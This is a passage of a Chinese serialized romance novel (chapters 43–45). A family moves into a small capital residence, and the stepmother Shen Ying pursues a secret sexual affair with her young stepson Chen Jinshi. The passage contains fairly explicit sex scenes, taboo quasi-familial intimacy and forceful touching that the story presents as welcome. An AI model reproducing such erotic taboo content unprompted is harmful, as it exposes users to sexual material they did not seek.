“阿姆,先委屈你在这里住下,这几日我再外出看看有没有更好的大宅子,租赁一个合眼缘的咱们另住也是好的。” 沈樱摇头:“不用麻烦了,锦行,这里很好。” 陈锦时一直紧跟在沈樱身后,陈锦行瞥了他一眼,没说什么。 进了大门,内侧设一面青砖砌筑的影壁,两侧倒有三四件倒座房,陈家带来的下人恰好在此安顿。 再二进院,便是这宅子的所有了。一面垂花门,三间坐北朝南的正房,两侧设耳房,正房对面东西各两间厢房,厢房与正房以抄手游廊相连。后院是个小小的天井,勉强也够种些普通花木。 三间正房自然是供院判夫妻居住待客的,陈锦云还未及笄,跟随长辈住耳房,陈锦时和沈樱一人一间厢房,沈樱在东,陈锦时在西。 沈樱笑道:“这样倒也正正好好,我看这宅子小却雅致,我们一家人住下来还算宽敞,在京城寸土寸金的地界儿,未尝不算是很好的,何必多花那些银子呢?” 张若菱也是这个意思,只陈锦行格外有孝心些,怎愿阿姆从金陵的大宅子搬到这样的小地方来住。 陈锦时道:“得了吧,哥哥,你拿的那点俸禄够再租赁一个大宅子吗?我看这地方也挺好的。” 说着,他俯身把自己装书的箱笼挨个翻开检查,见没有丢的坏的,又挨个把它们扛回自己房里。 陈锦行被弟弟噎了一句,倒也不恼,只无奈地摇摇头:“你倒会替我省钱。” 张若菱笑着挽住他胳膊:“锦时说得在理,咱们刚到京城,先安稳住下才是要紧的,宅子大小算不得什么。 沈樱没再多说,转身去看自己的东厢房。房间不算大,却收拾得干净,靠窗摆着一张书桌,墙角立着个衣柜,床上铺着崭新的青布褥子。她走到窗边推开窗,恰好能看见后院天井里的那株老海棠,枝桠光秃秃的,想来开春该能开花。 “阿姆,我帮你把行李搬进来。”陈锦时的声音在门口响起。 沈樱回头,见他立在那里,倒还吓了一跳。 “不用了,你去忙你自己的事吧,读书的事情耽误不得了。” 她埋头整理被褥,这些都是要换的,她如今也是好日子过惯了的,五品官员的宅子就是这样的规制,但家用物什大可换成用惯的锦被和金丝软枕。 要说这些生活在宅院里的骄矜习惯,也是当初将军一点一滴带给她的。 他常说:“都兰,金陵的丝绸举世闻名,你何不用来做些被褥衣裳的,穿着也舒服,你在我这里住着,可不兴用些粗布衣物。” 后来她与陈锦时走了一路,陈锦时也总是在各处给她买上当地最好的物件供她使用。 但沈樱不是当真那般娇惯了,若要她现在回去睡羊圈,她也是能睡的。 “你屋子里这些,赶明儿我全换了,听说这边有种金丝木,阳光照射下浮光耀影,像流动的金沙,给你制一套桌椅如何?” 说着,陈锦时已走了进来,在她椅子上落座。 沈樱摇头:“你说的那个,一听就要花大价钱,还是算了吧,再说,你有钱吗?” 陈锦时翘着腿,两手一放,又跟个大爷似的:“我哥有银子,他又最有孝心,叫他出钱,我出力。” 沈樱听了这话,瞪了他一眼,低声骂:“狗东西!” 陈锦时也不恼,反而往她身边凑了凑,笑着说:“谁让他比我有出息,已经是朝廷命官,总不能让阿姆住得委屈。” 说着,他的两条胳膊已经穿过她的手臂,从背后来到胸前,下巴往她后肩上一抵,又亲又拱,狠狠嗅了一口。 沈樱拍了一下他手:“快松开!门还开着呢。” 陈锦时懒洋洋地望了一眼门外:“他们在正房里忙着呢,顾不着我们。” 他的下巴又回到她肩上,她正要去整理衣物,被他蹭得发痒。 他走到哪儿,他贴到哪儿,还有那顺势变得炽热、不加掩饰的极具存在感的一处。 沈樱伸手掰他胳膊,指尖触到他腕间结实的筋肉,怎么也掰不开。 “别闹。”她声音放得很轻,似哄非哄。 陈锦时反而把脸埋得更深,嘴唇擦过她的耳垂,哑着嗓子道:“你不是说回来了也还是一样的吗?” 这话听得沈樱耳尖发烫,抬手在他手背狠狠掐了一下,兴头正高的时候哄着他说的话,哪能作数? 陈锦时吃痛,闷哼一声,沈樱扒开他,走到窗边,伸手把窗户关了大半,又低头把换下来的青布褥子叠好。 陈锦时在一旁坐下,没再动作,只盯着她看。 “对了,阿姆。”陈锦时忽然开口,“看到你的花了吗?我看后院有块空地方,尽快把它种下吧。” 沈樱叹了口气,抬眼望他:“它肯定活不了了,路上颠簸了半月呢。” 她都没想过,他会把那花带来。 “怎么活不了?我当时用棉絮裹着根,保着水,只要没磕着碰着,咱们找个瓦盆装上土,开春准能发芽,我跟你保证。” 沈樱看着他轻笑:“你怎么保证呢?” “你别管,我现在就去找瓦盆!”陈锦时立刻接话,转身就往外走。 沈樱没阻拦,静静看着他风风火火地走出房门,又继续整理行李。 不一会儿,张若菱过来敲门:“阿姆,我叫人煮了姜汤,你也来喝点暖暖身子吧。” 沈樱连忙应了一声,放下手中活计,走到正房的厅堂。 陈锦行和陈锦云已经坐在这里,见她来了,忙起身请她坐下。 张若菱道:“奇怪,我打发人去叫时哥儿,怎的迟迟叫不来?我去看看。” 陈锦行叫住她:“你别管他,他不知又到哪儿撒野去了。” 正说着,陈锦时从外面进来,手里捧着个花盆,脸上都沾着泥。 沈樱别开眼,不想看他,他把花盆捧到她跟前,头朝另一处:“嫂嫂,你说说,这花儿看着是不是能活?” 张若菱凑过去看了看,花盆里这枝桠虽有些蔫,可看着没半点损伤,笑着点头:“知道你带着这个,我们路上都不太敢颠簸,我看这花儿准能活。” 陈锦时立刻得意起来,转头看向沈樱:“你看,你总不信我。” 沈樱端起桌上的姜汤喝了一口,温热液体滑过喉咙,陈锦时把花盆放下,在她身边坐下。 陈锦行发话:“洗了手再上桌,你看你像个什么样子!” 张若菱使人端了水过来,叫着个小丫鬟帮着二爷净了手。 陈锦时又去挨沈樱,沈樱坐得端端正正的,也不看他,端着姜汤喝着,隐隐还往一边挪,放在膝上的左手,忽然就被他攥住了。 第44章 张若菱说起明日要去趟集市,又问沈樱想买什么,她好一并买回来。 “京城的绸缎比金陵花样还多,我想去看看,也正好给锦云做几件新衫子穿。” 沈樱抽回桌下的手,刚要开口说不用,陈锦时先接了话:“华章阁的掌柜说新到了批流云纹的蜀锦,颜色好看,嫂嫂明日去取就是。” 沈樱不让他拉手,他的手便放在她腿上,往缝隙里钻。 陈锦云望着她问道:“阿姆明日大可与我们一同上街转转去,也好看看京城的热闹。” 她也不知阿姆想不想去,便小心问着,也怕架住了她。 沈樱抬眼对陈锦云笑,顺道挥开腿上的手:“好啊,正好我也帮你挑挑衣裳颜色。” 闻言,陈锦时轻笑了一声,所有人都把视线落到他身上,除了沈樱。 陈锦时侧头望着沈樱道:“锦云,哥哥劝你,想要什么样式自己挑,别听你阿姆的。” 说着,手又往她腿上蹭。 曾经无比亲密过的地方,甫一套上厚实华服,周边围上一圈人,他一碰过来,仍能将她拉回那样的情态。 她呼吸乱了几瞬,几乎忽略了他的玩笑话。 她的审美粗犷而直白,这并不是什么大不了的事,因而满桌都因陈锦时一言轻笑起来。 只有陈锦行冷声斥责:“陈锦时,不许编排阿姆!” 陈锦时瞥了他哥一眼,手仍在沈樱腿上抚摸,眼中满是挑衅。 沈樱伸手揉了揉陈锦云的头顶:“别听你二哥的,你这样的年龄,要我说,咱们就选些月白、浅粉的颜色是最好的,快过年了,额外再做上两身石榴红、鹅黄的,就再好不过了。” 陈锦云立刻笑开,点头如捣蒜:“我都听阿姆的!” 阿姆愿意为她挑选,她已经十分心满意足了。 陈锦行放下茶盏,叮嘱道:“明日去集市多带上两个下人,京城人杂,咱们又是初来乍到的,小心为上。” 陈锦时道:“哥你明日放心上值去,我守着她们就是了。” 陈锦行立刻道:“你不许去,打明日起,你就留在府里闭关读书。” 陈锦时轻轻揉着沈樱大腿上的肉,沈樱也道:“是,陈锦时,明日起你不许出门了,更不许胡闹。” 她用那样的眼神看着他,俯视他,命令他,正经得不得了。她原就是极有威严的。 张若菱起身操持下人继续收拾宅邸,安顿晚膳。 沈樱站起身,陈锦时的手被拂下,她拿起桌上的帕子擦了擦手,语气没半分商量的余地:“让人今晚就把你房里的书整理好,先把书读好再说。” 陈锦时往椅背上一靠,没精打采地哼了声,望着她背发痴。 沈樱又转头对陈锦云道:“你房里的被褥盖着习不习惯?要不要换?” 陈锦云点头:“阿姆不用操心,嫂嫂都帮我安置好了。” 沈樱脸上露出温婉的笑:“你嫂嫂是个体贴的。” 张若菱得了夸,忙道:“阿姆房里可还有什么缺的?要换的?叫我来打整就行。” 沈樱轻轻摇头:“没有,你不用管我,管好你们房里的事就可以了。”说着,她轻轻捏了捏陈锦云的脸颊。 张若菱又对沈樱道:“听说京城里银楼的手艺也好,花样也比金陵新鲜得多,我倒是瞧见,阿姆头上的簪子便是新的吧。” 陈锦时背靠在椅子上,当即接话过去:“嫂嫂不用看银楼,我上次路过‘宝昌号’,里头的东西都做得精巧,赶明儿你们上那儿买就好了。” 张若菱手指着他取笑:“瞧瞧你家时哥儿,还没及冠呢,这女人家的事情,一等一的入行,到时候还不知得多么讨姑娘喜欢呢!” 这话明着是跟沈樱说的,不过她不愿接话,也不知该说个什么,陈锦时生得愈发朗月之姿,书读得多了,身上那股子文气逐渐盖过了与生俱来的那道混球霸王气,再沉淀个两年,说不定在京中倒真有一番追捧风评。 陈锦行轻嗤了一声:“他?稍微文静些的姑娘家,不知该多嫌恶他,躲都来不及,谁要是被他招惹上了,下半辈子就等着头疼吧。” 此话一出,张若菱和陈锦云皆是捂嘴轻笑。 “哦?”陈锦时抬眼睨他,“哥哥,你怎知我要去招惹那些文静小姑娘?文静的小姑娘正好适合像你这样的‘正人君子’,我心中早有一人,那人接得住我……” “住嘴。” 这话是陈锦行开的口,沈樱知道,若自己叫他住嘴,便有几分此地无银的意思,她只能硬着头皮听陈锦时把话说完,好在陈锦行叫停了他。 陈锦时看向兄长的眼神颇有不服,但还是没继续说下去。 张氏迟钝,一回二回看不出,三回四回再看不出,就叫蠢笨。 眼见陈二听了哥哥的话,叫他闭嘴便闭嘴了,乖得很,张若菱眼底反倒多了几分打量,目光在沈樱与陈锦时之间悄悄转了圈,又飞快收回,在收回之前,撞见了陈二传送给她的,一种,志得意满、神采飞扬的神情,就好像在说: “嫂嫂,事情就是你想的那样!” 晚膳桌上,陈锦云不知其中微妙,张若菱魂不守舍,陈锦行温柔抚上她后背,轻声问她:“今日收拾新宅累着了?怎么饭也没吃几口。” “许是京里水土还没太适应,没什么胃口。” 沈樱闻言,柔声道:“若是水土不服,让厨房煮碗姜枣茶就是,我从金陵带来了上好的陈皮,泡水喝也能能顺气。” 沈姑娘的声音一灌入耳中,不知怎的,那声音柔缓温厚,仿佛天生带有让人心安的能力,张若菱顿时安定不少,罢了,沈姑娘这样让人舒心的人,必不会叫她难做,至于她猜测的那些……就当猜错了好了,或者是,当做不知道也就是了。 张若菱握着筷子的手顿了顿,应了声:“哎,多谢阿姆。” 陈锦时放下筷子就道:“你那陈皮好像装在一个瓷罐里,我亲自搬进箱子的,这一时半会儿你只怕找不出来,这样吧,我去给嫂嫂找来。”说着就要起身。 “坐下吃你的饭。”沈樱语气平淡,也不看他,他却不敢不听。 陈锦时悻悻 坐回原位,指尖悄悄勾她放在腿上的手指,在她掌心抓挠,沈樱没动弹,任由他捏着她的手,翻来覆去的揉捏。 只是那揉捏的动作,好生温柔,不似他的习惯。 他摩挲她的每一颗骨节,顺着她的指骨往下抚蹭,他的指腹粗粝温热,带着几分刻意的轻缓。 台面上,沈樱握着筷子的手几不可察地僵了下。 陈锦云在安静吃饭,陈锦行在给张若菱夹菜,没人留意他们。 可那温热的触感顺着指缝往上爬,沈樱垂着眼,往陈锦时碗里夹了块排骨,声音压得极低,只有两人能听见:“好好吃饭,乖。” 陈锦时动作一顿,抬头看她,眼底亮得像落了星子,乖乖“嗯”了一声,却没松开她的手,反而将她的手往自己腿上带。 沈樱顺势被牵引过去,指尖弯起来,在他腿间挠了挠,随即收回,像条灵蛇一般,陈锦时一时没捉住,眼底被她勾起了火,却也只能怅然若失,眼巴巴望着碗里的汤。 晚膳散后,沈樱刚回到东厢房,陈锦时侧身跟进来,反手关上门,从身后抱住她,下巴抵在她肩上,声音闷闷的:“阿姆,回来后你待我好生疏。” 沈樱掰开他的手:“不然呢?” 宅子太小,两人纵是在自己房里,也须得压低嗓音。 沈樱无意闹出太大动静,只能先劝他。 他蹭了蹭她颈窝,呼吸带着热意,她就势侧开脖颈,微微扬起,他唇碾过的地方,她舒服得轻哼出声。 她转过身,掰住他的肩:“好了,你该回西厢了,省得待会儿他们又四处找你。” 陈锦时没跟她多话,上前一步,将她抵在门板上。他个子比她高上不少,如果房里点了灯,阴影会落下来将她整个人罩住。 好在房里还没有点上灯,否则,从外面看进来,这一幕实在难看又不堪。 他的眼底只剩下浓得化不开的欲,借着微弱的,从外面传来的光,她得以隐约看见。 她心里一紧,手腕突然被他用力攥住。 他的力道比方才重了许多,带着不容反抗的强硬,沈樱被他扣住双腕举过头顶,扣在墙上。 喘着粗气的吻落下来,辗转着撬开她的唇齿。 她轻哼了一声,轻易放他进来。 满腔抗拒化为了细碎嘤咛,她逐渐软下来,不打算抵抗了。 难道要她现在说“陈锦时,我们不该这样”吗? 一次和一百次其实并没有分别的。 理智一点点被揉碎,他松开她的手腕,她顺势下落,揽住他的脖颈,以便更好接住他的吻。 “阿姆,”他呼吸粗重,贴着她的耳侧轻唤,声音哑得厉害,指腹在她腰后轻轻摩挲,“我想……” 话没说完,便被沈樱的轻吻打断。她仰头,唇瓣蹭过他的下颌,带着几分主动的纵容。 “阿姆……”他又唤了一声,语气里带着无尽的迷恋,声线难以自持的颤抖,他的手探进她的衣摆,他闷哼一声,唇从她的唇上移开,顺着颈侧往下,在她脆弱的脖颈处轻咬了下。 她回吻,张口咬住他喉结,他将她缠得更紧。 两人的呼吸都粗重且乱,透着门缝,喘得压抑而放纵,那是一种极为矛盾的喘息。 她扒住他的肩头借力,窗外突然传来下人的脚步声,伴着轻声说话的声音,沈樱猛地回神,用力偏头躲开他的吻,气息不稳,趴在他肩头说道:“有人……” 猛地被她避开,他脖子还往前延伸着,睁开迷离的眼,怅然若失地垂首,唇落在她颈侧,轻轻咬了下,声音哑得厉害:“怕什么?他们又不会进来。” 沈樱推开他:“陈锦时,回你房去。” 陈锦时眼底的迷离还没散尽,被她一推,踉跄了一下,伸手拉她,沈樱双手抵在他被揉乱的衣襟处,她避开他像狼犬一样的眼眸,那是一种又凶猛又委屈、又祈求又不肯放过的眼神。 外面是两个洒扫的婆子,脚步慢悠悠的,一边洒扫一边闲聊,见房中没有亮灯,自然以为房中无人。 察觉到沈樱眼底的推拒,陈锦时也不硬上,他默默把她手捞起来,探进自己衣领,他解开自己的衣带,胸口剧烈起伏,呼吸急促,动作不急不躁。 沈樱一顿,没急着抽手出去。 “你说这窗缝都没漏点光,沈姑娘是歇下了,还是没在呢?” “沈姑娘一向歇得早,许是睡下了吧。啧,我正想说,我今日看见二爷,越发生得跟画儿似的人物了,来了京城里,竟也不输给那些公子哥儿。” 另一个婆子笑了声:“你这老婆子,倒会看俊俏后生!” 这人压低了声音回她:“谁不爱看?你倒说说谁不爱看?咱只是年纪大了,像二爷那样的男子,真真是看着养眼。” 陈锦时咬着沈樱的脖子轻笑出声,笑得沈樱浑身泛起痒意,推开他,瞪了一眼。 “你说得也是,不过我看二爷还不到开窍的时候,玩心正大着呢,就连读书的事,也得沈姑娘日日费心盯着。他呢,整日围着沈姑娘打转,你说说,空长那么副皮囊,结果呢,还是个只会‘要奶吃’的孩子罢了。” 此话一出,两人皆笑起来,扫帚在地面拂起“唰唰”声。 沈樱不看陈锦时,被他摁在厚实胸肌上的手也撤了回来,耳根一阵发热,陈锦时抵着她后颈,沉沉地笑:“沈樱,我看她们说得也对。”他的手从她腰往上移。 沈樱攥住他往上探的手腕,指尖用力掐了下他的皮肉,他不怕痛,又有一把子力气,她掐就掐了,他照样握揉。 窗外笑声未歇,前一个婆子又道:“可不是个孩子么!话说回来,沈姑娘也是心善,他都这么大了,早该不必管他了,偏沈姑娘是个极负责的,瞧这样子,怕是得亲眼看着二爷娶了妻才肯撒手呢。” 张若菱巡视至此,站在远处道:“你们两个过来!别在那儿杵着了,别打扰了阿姆歇息。” 陈锦时手上没松劲,门外脚步声渐渐往远处挪,他低头,唇擦过她耳尖,带着灼热温度:“阿姆,我是你的乖小孩。” “陈锦时!”沈樱打断他,门外无人,便开门,将他一把推了出去。 她理智终于回笼,越发觉得他荒唐。 陈锦时被推得踉跄,还没来得及站稳,沈樱已经“砰”地一声关上了房门。 他盯着那扇紧闭的木门,眼底灼热还没褪去,嘴角却先勾了起来。 “阿姆,我回房读书了。”他对着门板轻声说,刻意向她表现出乖顺。 说完,他转身往西厢房走,脚步很快。 刚走出一段,就见陈锦行端着一盏茶站在廊下,月光落在他身上,神色瞧着严肃得很。 陈锦时心头一紧,脊背却松垮下来,做出吊儿郎当模样:“哥,有事吗?” 陈锦行瞥他一眼,目光扫过他敞开的衣领,眉头微不可察地皱着:“这么晚了,你为何从东厢房出来?” 陈锦时拢了拢衣领:“哥哥,你明知故问什么?” 陈锦时长大后看似很知礼,对兄长再也不直呼其名,对阿姆更是极少直呼其名,尤其在旁人面前。 他脸上表情淡了些,斜倚着廊柱,挑衅似的看向兄长。 陈锦行目光又落在他颈侧,被谁咬过的浅淡痕迹,不难想到。 “这里是京城,是在家里,不是外面了,陈锦时,你注意点分寸。” 他伸手,沉稳的大掌一把拎起弟弟的衣领,将他的脖颈盖得严严实实。 “在你眼里,规矩、道德都不算什么,可我的名声不想被你毁了。陈锦时,你要是再这么胡闹,我只能将你赶出我家门。” 陈锦行言语冷厉。是,现在这里是他的宅邸,他是一家之主,他有权处置不听话的弟弟。 “陈锦时,别忘了你在倚仗谁,没有父亲,你连她的边也挨不上,没有我,你现在就得滚回金陵去。” 陈锦时脸色一点点沉下来:“你别以为我只能靠你留下来。” 他挥开陈锦行的手,颈侧方才被沈樱咬过的地方还在隐隐发烫。 陈锦行望着弟弟的眼眸,除了冷厉以外,还有几分无力。 究竟要如何才能阻止他? 原本为了阿姆能提早离开,他提前了婚期,可事情还是朝着无法阻止的方向行进。 他以为让陈锦时与阿姆单独度过一程,陈锦时尝够了甜头,便会学会放手,毕竟那样的事情,怎么可能奢想一辈子? 在隐秘的、无人知晓的地方,放纵过一回,难道 还不够吗? 陈锦行认为自己已经很纵容弟弟了。 尽管他自小就看不惯弟弟,陈锦时行事乖张,从不记后果,为何却仍能得到他想要的一切。 陈锦行好几次认为,弟弟就要毁掉他自己的人生了,可陈锦时始终前程大好。 他纵容着自己,却得到了想要的一切,让从小规训自己、压抑自己的陈锦行心里很不平衡。 原来不听话,并不会失去什么啊…… 陈锦时虽自幼失母,却得到了沈樱。比陈锦行和陈锦云都要幸运。 他望着弟弟挥开他离去的背影,指节捏得发白。 廊下的月光冷得像霜,落在他肩头,竟让他生出几分孤寒来。 沈樱于他,与陈锦时和陈锦云都不一样。 她来时,三人各有各的年纪,他已不需要一个“母亲”的角色,陈锦云大抵是需要的,陈锦时……介于其中。 后来他对沈樱到底是从以礼相待之外生出了些情愫,她实在是个很好很好的人,可惜他的品性规训他从不敢肖想什么。做知己?做朋友?跟父亲比起来,他实在不够格,他算个什么东西呢? 可谁会不喜欢沈樱那样的一个女人呢? 欣赏她、靠近她,实在是再正常不过的一件事情了,但不会再有更多。 直到他的弟弟,一个更不该的人,不光缠着她、黏着她,还亲吻她、占有她!并且得逞! 这失衡感像根刺,扎得他心口发闷,他觉察出人生的另一条可能性,他仰头将冷茶一饮而尽,茶涩顺着喉咙滑下去,压不住眼底翻涌的疯狂情绪。 人生从来都有另外一种可能性。 京城正是大展拳脚的好地方,他靠着替安郡王府做的辛秘事情爬到这里,做事到底还保有底线。 底线?底线是什么?弟弟教会他,做人从来不必规训自己。 他一拳砸在廊柱上,他要不遗余力往上爬。 陈锦行收回渗血的指节时,肩头忽然落下一片柔软。 他浑身一僵,转头便见张若菱捧着件素色披肩站在身后,眉眼间满是担忧。 “天凉了,夜里风硬,怎么站在这儿吹着?”她的声音轻得像棉絮,伸手将披肩往他肩头拢了拢,“手怎么还破了?是不是又跟时哥儿置气了?” 陈锦行眼底戾气消散,握住她替自己系披风系带的手,声音放低:“没什么,在想明日的公事。” 张若菱拉着他回屋:“我给你擦点药膏吧,往后别这么伤着自己了,有什么话,何不好好说呢?” 在房中坐下,张氏用帕子蘸了药膏,小心替他擦着,药膏的清凉渗进皮肤,陈锦行想起自己替安郡王府做的那些阴私事,又想起陈锦时在府中旁若无人的行径,观察了张氏一会儿,忽然说道:“虽然我对妻子没什么期望,但你……还是迟钝了些。” 张若菱的手顿了顿,没抬头看他:“我不是迟钝,只是有些事情何必拆穿呢?况且,我们做长兄长嫂的,合该为弟弟妹妹们撑起一片天,天塌下来,我们顶着。锦行,我知道你有些野心,其实对于我们这样的宅邸,名声不算那么重要的,不是吗?” “让你担心了,以后不会伤着自己了。”他声音软下来,伸手轻轻覆在她替自己擦药的手上。 张若菱脸颊悄悄红了,陈锦行定定看着她,头一回觉得,阿姆替他挑选的这位妻子,比想象中要适合他。 一家人之所以为一家人,冥冥之中自有缘分。 他、张氏,阿姆、陈锦时,父亲,陈锦云…… 第45章 张若菱垂着眼,把帕子叠好放在桌边,声音轻得像落在水面的雨:“你心里的事情,只要你不说,我便不会问。时辰不早了,你明日一早还要进宫上值,咱们先歇了吧。” 陈锦行伸手,替她拢了拢耳边碎发,指腹擦过她的耳垂,看着她细白的颈子,不知怎的,想起了陈锦时脖子上的红印,紧接着,又想起了阿姆的嘴唇。 他没再说话,只握着她的手,指腹轻轻摩挲着她的指节。房里静悄悄的,衬得这片刻的温情格外真切,显得他前半生的循规蹈矩,也并没有什么错。 他俯身,拦腰抱起张氏,张若菱一惊,下意识伸手攥住他的衣襟,耳尖瞬间红透,声音也带了点颤:“你……你这是做什么?” 陈锦行垂眼瞧着她,脚步平稳地往内室走,冷哼了一声:“你知不知道时哥儿他们闹得有多厉害,不觉得咱们之间太温和了吗?” 张若菱被他这直白的话语惊了一瞬,脸颊又烧又红。陈锦行从前确实太温和,就连姿势也不会变动。 她垂着眼不敢看他,声音细若蚊蚋:“他们是他们,咱们是咱们呀。” 他将她放在榻上,阴影将她整个人罩住,语气里多了点说不清的沉哑:“区别就在,他们只敢偷偷的,咱们能闹得所有人都听见。” 张若菱往后缩了缩,抬头撞进他深不见底的眼眸,心跳得更乱了。她张了张嘴,却被他捏住下巴,轻轻抬了起来。 沈樱躺在床上,新搬来的宅邸,睡不惯是应当的,翻来覆去了几次,又想到连续几日都同陈锦时睡在一块儿。 习惯了听他的心跳入睡,他的存在感实在太强,就算只是简简单单地互相抱着,他也像是随时能抵入她体内。她对他毫无抵抗力,从他小时候便是。他要抱便抱了,他要奖赏便赏了,他要她走她便走了,又拉她回来她又回了。 好在他小时候并没有要吃奶的需求,她来时,他已经很大了。 她翻了个身,面朝墙壁,试图将纷乱念头压下去。 被他抵在门板上的灼热感还残留在皮肤上,颈侧似乎还能闻到少年人特有的热意。 她又翻身平躺,轻轻呼气,他轻而易举就能占据她的所有,无论是心还是身。 他们与彼此初尝了情之事,便是一辈子也摆不脱的关系了。就算以后他们天各一方,她想起他时,总会反复回想起他抵入她的瞬间。那个瞬间会被她反复回味,是她给他的奖赏,也是他对她的献身。 她痴迷于他健壮、年轻的躯体,沉迷于他的无所畏惧和莽撞的蓬勃生命力,还有他的祈求和霸道交加的矛盾。 她闭着眼,喉间不自觉溢出一声极轻的叹。每一次触碰都像是纠缠到骨血里的情意与欲望。 他攥着她手腕的力度都是那样的清晰,他浑身都像一团烧得旺的火,少年人天生急躁,埋在她颈窝的呼吸又粗又沉。 今日初一踏进这座宅子,好似并不觉得它窄小,一家人刚好够住,直到从正房飘来的声响,清晰地传入耳中。 沈樱睁开眼,借着夜的静,听得十分真切。 她叹气,今夜只怕更加难眠。莫名生出几分恍惚,陈锦行向来规矩,又明知这宅邸狭小,为何会…… 不过也是,他与陈锦时到底是两兄弟,一个胆子大得什么都敢做,另一个又怎会顾忌这些? 她索性掩过被面,睡过去也就是了,正想着,窗棂忽然被轻轻叩了两下,一声极轻的“阿姆”顺着缝隙钻进来。 她浑身一僵,指尖捻着锦被。除了陈锦时,没人会在这深夜里来敲她的窗。 “沈樱,我知道你没睡。”窗外声音很轻。 她没锁门,不知陈锦时今晚为何学会了“礼貌”二字。 “进来吧,别弄出声响。”她捂着脑袋,声音 从被子里闷闷传出来。 月光立刻涌了进来,他穿着素白中衣,胸口大敞着,头发散在肩上,轻手轻脚进来,反手关上门。 她听见他来到她床边坐下,极为熟练地钻进她的被窝,伸手揽过她腰。 沈樱被他带着暖意的手臂一揽,浑身的紧绷瞬间软了许多,他蓬勃胸膛贴着她后背,下巴抵在她颈窝,很快将她毫无缝隙地包裹,带着热意。 她回头,唇瞬时被挟住,他一只手臂撑过来环住她,支在她身体上方,唇齿也压下来,她搂住他脖颈,指尖用力攀住他肩头,告知他属于她的欲念,喉间溢出一声轻呼,就像是,枯木逢春、如愿以偿,她等了他许久,而他来得正好,一切都是那么的契合,水到渠成。 陈锦时接收到她的欣喜和欢愉,她的期待与渴望,唇齿间的动作愈发急切,喉间低低地喘着:“阿姆,阿姆……” 他颤抖的手拂过她的肩,轻而易举将她的柔软寝衣剥落。少年人的体温像暖炉似的裹着她,沈樱喜欢这样的包裹感,她攀着他肩头的手慢慢下滑,指尖蹭过他敞开的胸口,触到他蓬勃胸肌时,他浑身一僵,随即更紧地将她圈在怀里,唇从她唇上移开,伴着压抑的喟叹,在她耳垂上轻轻咬了口。 沈樱闭着眼,指尖轻轻捻着他的皮肤,喉间溢出细碎的轻吟。 她知道今晚无论如何也该克制。这是他们回到家中的第一晚,若是今晚都不能分开,往后要如何才能分开?身体总比理智更诚实,她贪恋他的温度和热烈,习惯了如愿以偿。 所有的克制与纠结,在他的触碰下都化作了水到渠成。 陈锦时如何不知她的迎合,动作愈发温柔。他替她拢了散在颊边的碎发,指腹擦过她泛红的眼角,声音轻得像呢喃:“沈樱,这是命中注定的事情,我们纠缠在一起,是命数,不该逃避的。”她浑身一颤,指尖深深嵌进他大臂的肌肉,他抬手,捂住了她仰头张开的唇,以免嘤咛溢出。 窗外不知何时起了风,吹得窗纱轻晃了晃,陈锦时低头,几乎贴着她的耳廓,正房传来的声响不知何时停了,显得此处窸窣声更甚。 她不得不抱紧了他,两人唯有密不可分,才可防止大开大合,蓬勃力量收敛得小心翼翼,却力尽其用。沈樱也不知为何,在这般收敛克制中,确是全然的抵碾沉溺。 他的呼吸落在她的肌肤上,牢牢托住她的腰,她浑身泛起细密的战栗,下颌抵在他肩上,双臂用尽全力环抱住他,如此,才可在最为收敛的范围内融进彼此的骨血里做到极致。 风声渐渐也停了,屋子里只剩下呼吸声,他知道何时该伸手捂住她的唇,他总有一些预见性。 沈樱的齿尖在他掌心碾磨,留下一片唾液,他毫不在意,他探入一根手指,她轻轻咬磨,裹上来的那点湿热烫得人心尖发颤。他呼吸乱了几息,低头,鼻尖蹭过她汗湿的鬓角,喉间低低笑了一声,笑声里带着点满足的喟叹:“尽管咬我。”否则她会紧咬自己的下唇。 陈锦时忽然觉得,这座宅邸实在太小,可是看着怀中人的模样,他想,小也有小的好处。 沈樱只是觉得,今晚实在不该。窗外的月光不知何时移了位置,透过窗纱洒在塌边,映出两人模糊又缠绵的影子。 天刚蒙蒙亮时,窗棂外先透进一缕浅淡的光,把帐子照得半明半暗。 陈锦时轻手轻脚挪开环在她腰上的手臂,缓缓坐起,见她睁开眼,声音还带着刚睡醒的沙哑:“醒了?” 沈樱没应声,只轻轻“嗯”了一声。 她推他起身:“你先回房,免得待会儿他们又见你不在房里。” 陈锦时俯身吻她,她轻轻避开,他便替她掖了掖被角,目光扫过她颈侧淡下去的红印,喉结动了动,只捏了捏她的手,便起身。 沈樱躺着没动,耳尖还残留着他吻过的温度。窗外渐渐有了声响,应是有人起了。 她翻了个身,看向窗外,陈锦时正好穿整齐了衣服,轻手轻脚推开门,看了她一眼,随后离去。沈樱撑着榻坐起来,腿根处有些酸胀感。她低头理了理衣领,遮住颈侧痕迹,起身推开窗,让冷风灌进来,打在她的脸颊上。 陈锦行早在天亮之前便已出了门,乘上马车进宫。 又过了一会儿,拥挤的宅邸内逐渐热闹起来,下人们起身做活,齐齐聚在正房,等着大奶奶起来议事。 要不说,张若菱是金陵正经豪商门户教养出的女儿,管家倒比沈樱更有一套。 眼瞧着正房喧闹,沈樱正站在窗边发愣,陈锦时已换了身锦袍,头发也束得整齐,从西厢房走过来见她,当着府上下人的面儿。 三两个丫鬟向他行礼问安:“二爷好。” 他越过她们,直直朝她走来,停在她的房门口,躬身:“给阿姆请安,阿姆,起了吗?昨晚可得好歇?” 沈樱深吸一口气,走到门前,拉开门,荡荡天光涌进来,映在她琥珀色的瞳孔,她眉眼淡淡:“嗯,歇得还好。” 她没有让他进门,只叫他:“你用过早膳,便读书去吧。” 他躬身:“是,阿姆。” 他正要坦荡离去,瞥见她颈侧红痕,便道:“阿姆,今日天冷,多披件大毛斗篷再出门为好。” 说完,他转身离去,沈樱抚着脖颈,回房重新梳了头,更了衣,往正房走去。 张若菱正等她:“阿姆来得正好,刚搬过来,家里一堆琐事,我一个人忙得焦头烂额的,少不得劳您一回。” 沈樱走进堂屋,张若菱正坐在一面八仙桌旁,面前摊着一本蓝布封面的账册,使唤丫鬟:“沏壶雨前龙井来,阿姆早晨爱喝那个。” 沈樱在桌边坐下,目光扫过桌上的账册与几张写满字的纸笺,上面记着柴米油盐、下人的月钱用度,字迹工整清秀,堂下几个主事的婆子已经站着了。 她端起茶盏,轻轻瞥了一眼张若菱,昨晚的声响总浮现耳边,叫人不太自在。 张若菱絮絮叨叨:“府里现在有十二个下人,从前在金陵倒是刚好够使唤,一到了这边,倒显得家里老是挤挤挨挨的。” 沈樱放下茶盏,缓缓道:“这宅子拢共就这么大地方,厨房、柴房、下人房挤在一块儿,可不就挤挤挨挨?你要是觉得不方便,就把多出来的人清点清点,先凑活过了这冬天,再放出去就是。” 